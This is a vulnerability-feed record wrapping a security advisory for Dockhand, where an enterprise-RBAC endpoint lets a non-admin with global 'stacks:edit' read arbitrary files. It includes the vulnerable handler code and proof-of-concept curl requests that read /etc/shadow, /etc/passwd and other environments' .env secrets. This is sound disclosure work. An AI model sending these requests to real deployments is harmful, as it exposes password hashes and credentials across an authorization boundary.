{"schema":"threatline.record/2","record":{"id":"GHSA-433w-5hff-22h6","aliases":["GHSA-433w-5hff-22h6"],"summary":"Arbitrary File Read via Unscoped Path in /api/system/files/content","details":"### Summary\r\n\r\nAn **arbitrary file read** vulnerability in Dockhand's enterprise RBAC mode allows a **non-admin user** who holds the low-privilege `stacks:edit` permission to read **any file** on the Dockhand container's filesystem — including `/etc/shadow`, `/etc/passwd`, and the Compose/`.env` secrets of **stacks and environments the user has no access to**, plus cloned git credentials. The endpoint performs a **global** permission check only (`stacks:edit`) with **no environment scoping**, so a user granted that role to manage one stack can exfiltrate data belonging to other environments/containers. Severity: **Medium (CVSS 6.5)** in enterprise RBAC; **not a vulnerability** in the free edition (where every authenticated user is admin).\r\n\r\n### Details\r\n\r\nThere are **two** file-access endpoints with different authorization behaviors:\r\n\r\n**Endpoint A — `GET /api/containers/{id}/files/files` — reads any chosen container, but is environment-scoped.**\r\n`src/routes/api/containers/[id]/files/content/+server.ts` reads a file from a **specific container** chosen by the caller:\r\n\r\n```ts\r\nexport const GET: RequestHandler = async ({ params, url, cookies }) => {\r\n\tconst invalid = validateDockerIdParam(params.id, 'container');  // container id/name\r\n\tif (invalid) return invalid;\r\n\tconst auth = await authorize(cookies);\r\n\tconst path = url.searchParams.get('path');\r\n\tconst envId = url.searchParams.get('env');\r\n\tconst envIdNum = envId ? parseInt(envId) : undefined;\r\n\r\n\t// Permission check WITH environment context (envId is passed)\r\n\tif (auth.authEnabled && !await auth.can('containers', 'view', envIdNum)) {\r\n\t\treturn json({ error: 'Permission denied' }, { status: 403 });\r\n\t}\r\n\tconst content = await readContainerFile(params.id, path, envIdNum);  // Docker API read\r\n\treturn json({ content, path });\r\n};\r\n```\r\n\r\nThis endpoint **passes `envId`** to `auth.can('containers','view', envIdNum)`, so it respects per-environment RBAC via `getUserPermissionsForEnvironment`. A user who cannot access environment 2 cannot read containers in environment 2 through this route.\r\n\r\n#### Endpoint B `GET /api/system/files/files` — reads the Dockhand container filesystem, NOT environment-scoped.\r\n\r\n`src/routes/api/system/files/content/+server.ts`:\r\n\r\n```ts\r\nexport const GET: RequestHandler = async ({ url, cookies }) => {\r\n\tconst auth = await authorize(cookies);\r\n\r\n\t// The ONLY gate: the caller must hold the GLOBAL `stacks:edit` permission.\r\n\t// NO environmentId is passed, so there is NO per-environment authorization.\r\n\tif (auth.authEnabled && !await auth.can('stacks', 'edit')) {\r\n\t\treturn json({ error: 'Permission denied' }, { status: 403 });\r\n\t}\r\n\tconst path = url.searchParams.get('path');\r\n\tif (!path) return json({ error: 'Path is required' }, { status: 400 });\r\n\tif (isProtectedPath(path)) return json({ error: 'Access denied' }, { status: 403 });\r\n\tconst content = readFileSync(path, 'utf-8');   // reads ANY absolute path\r\n\treturn json({ path, content, size: stat.size, mtime: stat.mtime.toISOString() });\r\n};\r\n```\r\n\r\nThis endpoint calls `auth.can('stacks', 'edit')` with **no `environmentId`**. Because `checkPermission` (`src/lib/server/auth.ts:390`) only scopes by environment when an `environmentId` is passed, this check falls back to the user's **global** permissions (`user.permissions`, auth.ts:409).\r\n\r\n**Why a non-admin can hold global `stacks:edit`.** In enterprise RBAC, an admin creates custom roles with arbitrary permissions and scoping (`src/routes/api/roles/+server.ts:71-76`), and `createRole` stores `environmentIds: null` for a **global** role (`src/lib/server/db.ts:1620-1627`). `getUserPermissionsById` (`src/lib/server/auth.ts:332`) then **merges the permissions of ALL the user's roles** into a single global `user.permissions` — without filtering by environment. So a user whose role grants `stacks:edit` only for environment 1 still has `stacks:edit` in their **global** `user.permissions`.\r\n\r\n**The scope violation.** Dockhand's UI hides environments the user cannot access (using `getUserAccessibleEnvironments`), so the user does **not** see other environments/containers. But Endpoint B never consults that function — it only checks the global `user.permissions.stacks` and reads an arbitrary absolute path. As a result a non-admin with `stacks:edit` (even scoped to one environment) can read:\r\n- `/etc/shadow`, `/etc/passwd` on the Dockhand container;\r\n- **other environments'** stack `compose.yaml` and `.env` files (`/app/data/stacks/<other-stack>/...`) — DB passwords, API keys, secrets;\r\n- cloned git repositories (`/app/data/git-repos/...`) — credentials/tokens.\r\n\r\nThe only paths blocked are `$DATA_DIR/db`, `$DATA_DIR/.encryption_key`, and everything under `/proc` (`src/lib/server/fs-guard.ts`); everything else on the Dockhand filesystem is readable. `safeResolve` also defeats `..`/symlink tricks into protected locations, so the bypass is via the **over-broad authorization scope**, not path traversal.\r\n\r\nThe fix is to scope Endpoint B's reads to the stack directory the user is authorized for, and require `stacks:edit` **plus** environment access to that stack.\r\n\r\n### PoC\r\n\r\nVerified against the running instance (`http://localhost:3000`, authenticated as `admin`, admin session cookie in `cookies.txt`). The same endpoints in enterprise RBAC are reachable by any non-admin user holding the relevant global permission.\r\n\r\n**Endpoint A — read a file from ANY container you choose (container-scoped read):**\r\n\r\n```bash\r\n# Choose the container by ID (or name), the file by path, the environment by env.\r\n# Here: read /etc/passwd from the \"sysreptor-app\" container (a different container).\r\ncurl -s -b cookies.txt \\\r\n  'http://localhost:3000/api/containers/<CONTAINER_ID>/files/content?path=/etc/passwd&env=1'\r\n# → {\"content\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:...\",\"path\":\"/etc/passwd\"}\r\n\r\n# Same via container NAME\r\ncurl -s -b cookies.txt \\\r\n  'http://localhost:3000/api/containers/dockhand/files/content?path=/etc/hostname&env=1'\r\n# → {\"content\":\"6767c62a680f\\n\",\"path\":\"/etc/hostname\"}\r\n```\r\n(Live-verified: I read `/etc/passwd` from both the `dockhand` and `sysreptor-app` containers via this endpoint.)\r\n\r\n**Endpoint B — read any file on the Dockhand filesystem (NOT environment-scoped):**\r\n\r\n```bash\r\n# Read /etc/shadow — only stacks:edit required, no container/environment access needed\r\ncurl -s -b cookies.txt \\\r\n  'http://localhost:3000/api/system/files/content?path=/etc/shadow'\r\n# → {\"path\":\"/etc/shadow\",\"content\":\"root:*::0:::::\\nbin:!::0:::::\\n...\",\"size\":...,\"mtime\":\"...\"}\r\n\r\n# Read ANOTHER environment's stack secrets (authorization-scope violation)\r\ncurl -s -b cookies.txt \\\r\n  'http://localhost:3000/api/system/files/content?path=/app/data/stacks/other-env-stack/.env'\r\n# → returns the .env contents (DB password, API keys) — the caller has no access to that environment\r\n```\r\n\r\nProtected paths are correctly denied (no traversal bypass found):\r\n```bash\r\ncurl -s -b cookies.txt 'http://localhost:3000/api/system/files/content?path=/app/data/.encryption_key'   # → Access denied\r\ncurl -s -b cookies.txt 'http://localhost:3000/api/system/files/content?path=/app/data/db/dockhand.db'    # → Access denied\r\ncurl -s -b cookies.txt 'http://localhost:3000/api/system/files/content?path=/proc/self/environ'          # → Access denied\r\n```\r\n\r\n### Impact\r\n\r\n- **Vulnerability type:** Improper Access Control / authorization-scope violation leading to arbitrary file read (over-broad permission, no environment scoping).\r\n- **Attack surface:** remote; requires an authenticated account with the **global `stacks:edit`** permission. In enterprise RBAC this is a **non-admin** role; the user does **not** need access to the target environment/container (the UI hides those environments, but the endpoint reads them anyway).\r\n- **Severity:** **Medium (CVSS 6.5)** in enterprise RBAC. **Not applicable** in the free edition (every authenticated user is admin and already has full Docker access via the mounted socket).\r\n- **Who is impacted:** enterprise RBAC deployments where a non-admin role is granted `stacks:edit` (even scoped to a single environment). Those users can read arbitrary files on the Dockhand container — `/etc/shadow`, other environments' stack/`.env` secrets (DB credentials, API keys), and cloned git credentials — bypassing the intended per-environment authorization boundary.","categories":["Unclassified"],"product":"dockhand","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/Finsys/dockhand/security/advisories/GHSA-433w-5hff-22h6","source_modified_at":"2026-10-15T10:26:21Z","fetched_at":"2026-10-24T05:41:33.294140Z","package":{"name":"dockhand","ecosystem":null},"range":"<= v1.0.45"}],"fixed_versions":[],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-15T10:26:21Z","modified_at":"2026-10-15T10:26:21Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/Finsys/dockhand/security/advisories/GHSA-433w-5hff-22h6","fetched_at":"2026-10-24T05:41:33.294140Z","source_modified_at":"2026-10-15T10:26:21Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-15T10:26:21Z","content_hash":"d40930231b8b7d23edc0b0288529132619b1349d5fa868bb98c73cffe9f46c31"}}
